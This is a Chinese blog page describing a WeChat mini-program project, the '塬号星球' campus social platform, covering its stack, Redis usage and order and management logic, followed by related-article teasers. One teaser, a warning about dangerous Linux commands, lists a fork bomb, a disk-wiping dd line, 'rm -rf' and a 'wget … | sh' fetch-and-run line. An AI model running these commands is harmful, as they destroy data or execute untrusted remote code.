塬号星球项目介绍

news2024/11/29 5:34:31

开发时间:2024 . 02~ 至今

已经部署上线(可以在微信里搜索“塬号星球”),仍在完善阶段。   

                      

塬号星球——周边信息社交生活服务平台

项目介绍:项目主要是针对于在大学有流量却不知道该如何变现的朋友,比如校园表白墙。将每一个学校/周边看成

一个星球,平台会 在每一个星球提供多种功能,比如:星球特价市场,星球店铺,星球二手市场,星球排行榜,星球交友

,星球服务大厅,星球论坛,星球兼职,今天吃点啥?周末去哪玩?星球好物,星球圈子,星球优惠劵,星球赛事和星球

活动等,每种功能又可以自定义参数。球主/校园表白墙可自定义添加需要的功能到自己的星球。打造自己的校园生态、

实现流量变现。

前端技术:uniapp+原生微信小程序+uview2.0+xr-frame+websocket+element-plus+three.js+axios

后端技术:SpringBoot+SpringCloud+Mybatis-plus+Mysql+Mongodb+Redis+RabbitMQ+Ribbon+Gateway+Nacos+OpenFeign+Websocket+Docker

项目亮点:

1.使用 Redis 的 Set 集合实现点赞、浏览、关注、共同好友等功能。

2.使用 Redis 的 Zset 有序集合实现星球排名,用户活跃度排名,多类型动态的顺序分页存储等。

3.使用 Redis 的 Geospatial 实现查找附近星球,查找附近店铺,查找附近用户等。

4.使用 Redis 的 Hash 数据结构的计数器,实现点赞数,浏览数,关注数,粉丝数等自增自减。

5.使用 Redis 的 Bitmap 位图,实现每日签到功能。

6.使用 Aop 封装自定义日志注解,判空注解,Redis 获取存入注解等。

7.使用 Nacos 服务注册中心与服务配置中心,实现服务注册与服务配置。

8.使用 RabbitMQ 消息队列,优化发送短信验证码,添加记录等。

9.使用 OpenFeign 实现各个服务之间的远程调用。

10.使用 Websocket 实现在线聊天,服务通知等。

11.使用 Mongodb 数据库存储聊天记录。

12.使用 docker-compose 一键部署到服务器。

13.使用了微信支付,实名认证,短信验证码,分销二维码,OSS 存储等第三方服务。

负责的内容:

星球服务大厅模块、订单模块、管理星球模块等等

涉及到的技术或框架:

Spring、Springcloud、RabbitMQ、自定义AOP

涉及到的数据库:

Mysql+MongoDB+Redis

业务逻辑:

  1. 订单模块

大致是以上这些接口。

接单逻辑:

        首先会使用分布式锁,防止出现访问共享资源的情况,再根据用户id查询用户基础信息,查询“信誉分”,满足系统给定的接单信誉分,则可以进行接单,在订单信息中绑定接单用户的用户id,并且删除redis里的订单信息(防止下次获取到的是旧的数据),最后发送微信订阅通知给下单用户。

2. 管理星球模块

管理星球业务逻辑:

        这是星球管理员权限及以上的用户才有的接口,在控制层会进行判断权限拦截。平台可以生成兑换码供管理员去开启一个星球或是开启星球的功能(例如可以让球民发布订单,接单)。兑换码设置了四种类型(开通所有,开通一个父功能,开通一个子功能,给予开通优惠)。

球民管理业务逻辑:

        球主可以通过发起请求给后端,后端根据星球id去查询星球用户表,查询该星球的所有用户,并循环查询用户基础信息及判断是否是管理员,进行取消和添加管理员。

注销星球:

        首先会将星球信息的enable设置为0(默认为1,表示可用),再将星球用户表里的有此星球id的记录的enable设置为0,将星球功能信息删除,给每个球民发送小程序内部通知,最后删除redis,因为redis中存有星球基础信息,星球排名等等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1815686.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Oracle最终会扼杀MySQL?(译)

原文网站:https://www.percona.com/blog/is-oracle-finally-killing-mysql/ 作者:Peter Zaitsev 自从Oracle收购了MySQL后,很多人怀疑Oracle对开源MySQL的善意,这篇percona的文章深入分析了Oracle已经和将要对MySQL采取的措施&a…

欢乐钓鱼大师攻略:buff大全讲解,云手机托管使用教程!

《欢乐钓鱼大师》是一款充满趣味与挑战的钓鱼模拟游戏。在这款游戏中,玩家不仅能够体验到钓鱼的乐趣,还需要通过策略性地收集与使用不同的钓鱼装备来提升自己的钓鱼技巧和效率。本文将为你提供一份详细的游戏攻略,帮助你在游戏中轻松上手并快…

CNS-BL30H系列直流无刷电机驱动器|电机参数配置方法

CNS-BL30H系列直流无刷电机驱动器|电机包含CNS-BL30HB、CNS-BL30HDN、CNS-BL30HSN,采用一驱二设计,可以同时驱动两个小于48V/1000W的直流无刷电机,体积小巧,安装方便,接线快捷,本文重点介绍CNS-BL30H系列直…

什么是 URL 过滤?是如何保障浏览体验的?

互联网是一个无边无际的空间,几乎包含了你能想象到的一切。不幸的是,这意味着也存在着从不合适到非常危险的网站。这就是 URL 过滤可以发挥作用的地方。 一、URL 过滤的含义 我们希望您已经熟悉 URL(统一资源定位器),…

Non-aligned Supervision for Real Image Dehazing

原文链接:https://www.semanticscholar.org/paper/Non-aligned-supervision-for-Real-Image-Dehazing-Fan-Guo/7595d39e71ae58343e8728fc1af0e18ffe38218b 数据集:https://www.cityscapes-dataset.com/ 真实的图像去雾的非对准监督 摘要 由于天气条件…

【Linux】手残党必学,再也不用跑路了

目录 🚨危险命令,请勿靠近TAT🖋️rm –rf🖋️){:|:&};:🖋️mv 指定的文件夹 /dev/null🖋️wget http://malicious_source -O- | sh🖋️dd if/dev/random of/dev/sda🖋️隐藏命令…

国标GB28181安防视频监控EasyCVR平台级联时上级平台不显示通道是什么原因?

国标GB28181安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台部署轻快,可支持的主流标准协议有GA/T 1400、国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。 有用户反馈&#xff…

蓝牙芯片TD5322A,蓝牙5.1数传芯片介绍—拓达半导体

蓝牙芯片原厂,拓达芯片TD5322A是一颗支持蓝牙BLE和SPP的数传芯片,蓝牙5.1版本。芯片的优点是尺寸小(SOP-8封装),性能强,价格低,以及简单明了的透传和串口AT控制功能,大大降低了在其它电子产品中…

java版spring cloud 深入探究ERP管理系统源码:功能模块详解与操作流程梳理

随着数字化转型的深入,企业对于高效、稳定且具有扩展性的管理系统的需求日益增加。为此,我们开发了一套基于Java技术的鸿鹄ERP管理系统,该系统整合了Spring Cloud Alibaba、Spring Boot、MybatisPlus、Redis等前沿技术,并采用了VU…

XmanagerXShell软件下载及安装教程

​XManager企业版是一款完整的企业网络连接套件,它配备了一个高性能的PC服务器,安全终端模拟器,是一个一体化的解决方案,将xmanager,xshell,xftp,xlpd,Xbrowser及xstart放置在一个软…

maven版本

一、快照版本SNAPSHOT和发布版本RELEASE区别 快照版本SNAPSHOT和发布版本RELEASE区别-CSDN博客 在使⽤maven过程中,我们在开发阶段经常性的会有很多公共库处于不稳定状态,随时需要修改并发布,可能⼀天就要发布⼀次,遇到bug时&am…

【ETAS CP AUTOSAR基础软件】BswM模块详解

文章包含了AUTOSAR基础软件(BSW)中BswM模块相关的内容详解。本文从AUTOSAR规范解析,ISOLAR-AB配置以及模块相关代码分析三个维度来帮读者清晰的认识和了解BswM这一基础软件模块。文中涉及的SOLAR-AB配置以及模块相关代码都是依托于ETAS提供的…

扩散模型ddpm原理

扩散模型ddpm原理 bilibili 视频讲解 笔记记录 总结:模型反向还原过程中,除模型推理得到噪声预测,还需要从标准正太分布中采样一份噪声,两者的线性组合得到前一时刻的降噪结果,这里可能会有较大的不确定性(对于生成式任…

2024最新最全【大模型】人工智能零基础入门到精通,看完这一篇就够了!

大模型技术是一个涉及人工智能、机器学习、深度学习等多个领域的复杂课题。学习大模型技术通常需要以下几个步骤: 基础知识学习:首先,需要掌握计算机科学、数据结构和算法的基础知识。此外,对线性代数、概率论和统计学有一定的理…

面试题:Redis和MySql数据库如何保持数据一致性?

前提引入: 在高并发的场景下,大量的请求直接访问Mysql很容易造成性能问题。所以,我们都会用Redis来做数据的缓存,削减对数据库的请求。但是,Mysql和Redis是两种不同的数据库,如何保证不同数据库之间数据的一…

C# WPF入门学习番外篇——C#使用WPF连接MySQL数据库

在 C# 中使用 WPF 连接 MySQL 数据库涉及几个步骤,包括安装必要的库,配置连接字符串,编写代码以执行数据库操作等。下面是一个详细的入门教程,帮助你理解如何在 WPF 应用程序中使用 MySQL 数据库。 1. 安装 MySQL 数据库连接器 …

打工人必看!AI+PS插件轻松搞定电商产品图!保姆教程来啦!

大家好哇!我是你们的AIGC测评博主米兔! 在当今电商蓬勃发展的时代,一张高质量、具有吸引力的产品图能够迅速吸引消费者的目光,提升购买欲望。今天,我们就来探讨一下如何利用AI结合PS插件制作电商产品图,让…

typore 中的图片问题

在自己上传图片到图床时&#xff0c;被自己蠢哭了,大家千万不要犯这个低级错误啊 ![]() ![1681292306466](images/1681292306466.png) 和 <img src"images/1681287264843.png" alt"1681287264843" style"zoom:50%;" /> 这两行代码都是用来…

[next.js] svgr/webpack

nextjs如何配置svg文件&#xff0c;使其像react组件一样导入? 当前next.js 开发环境我使用了--turbo 来开启turbopack加速文件构建&#xff0c;所以之前的一些webpack loader之类的无法正常工作。通过搜索发现一般都是使用svgr/webpack来处理svg&#xff0c;打开svgr官网发现…

OKCC系统之编解码转码

G.729&#xff1a; 编码前的原始音频是8k采样率&#xff0c;16bit数据。 压缩率为16:1&#xff0c;通过算法对原始音频进行压缩&#xff0c;10ms的原始数据压缩后得到80bit&#xff08;10个字节Byte&#xff09;。 每一帧的处理时间控制为5ms&#xff0c;总时延相当于15ms&a…